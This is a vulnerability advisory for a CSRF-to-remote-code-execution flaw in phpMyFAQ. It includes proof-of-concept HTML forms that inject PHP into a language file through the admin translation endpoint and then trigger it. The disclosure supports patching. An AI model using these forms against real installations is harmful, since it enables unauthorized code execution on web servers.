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RCE via CSRF in phpMyFAQ

Advisory ID:HTB23300
Vulnerable Versions:2.8.26, 2.9.0-RC2 and probably prior
Tested Version:2.8.26, 2.9.0-RC2
Advisory Publication:March 30, 2016 [without technical details]
Vendor Notification:March 30, 2016
Vendor Fix:April 11, 2016
Public Disclosure:April 20, 2016
Latest Update:April 12, 2016
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:Pending
Risk Level:High
CVSSv3 Base Score:8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
CVSSv3 Calculator
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered a high-risk security vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote attacker can execute arbitrary PHP code on vulnerable system via CSRF attack against website administrator and completely compromise vulnerable web application.

The vulnerability exists due to application does not properly verify origin of HTTP requests in "Interface Translation" functionality. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate user, inject and execute arbitrary PHP code on the target system with privileges of the webserver.

A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into file "/lang/language_af.php":

<form action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save _added_trans" method="POST" name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />

To trigger the execution of "phpinfo()", just open the following file in your browser (no privileges required):

<form action="http://[host]/" method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />

ImmuniWeb® On-Demand Web Application Penetration Test

Update to phpMyFAQ 2.8.27 or 2.9.0-RC3

More Information:

[1] High-Tech Bridge Advisory HTB23300 - - RCE via CSRF in phpMyFAQ
[2] phpMyFAQ - - Open Source FAQ software
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.
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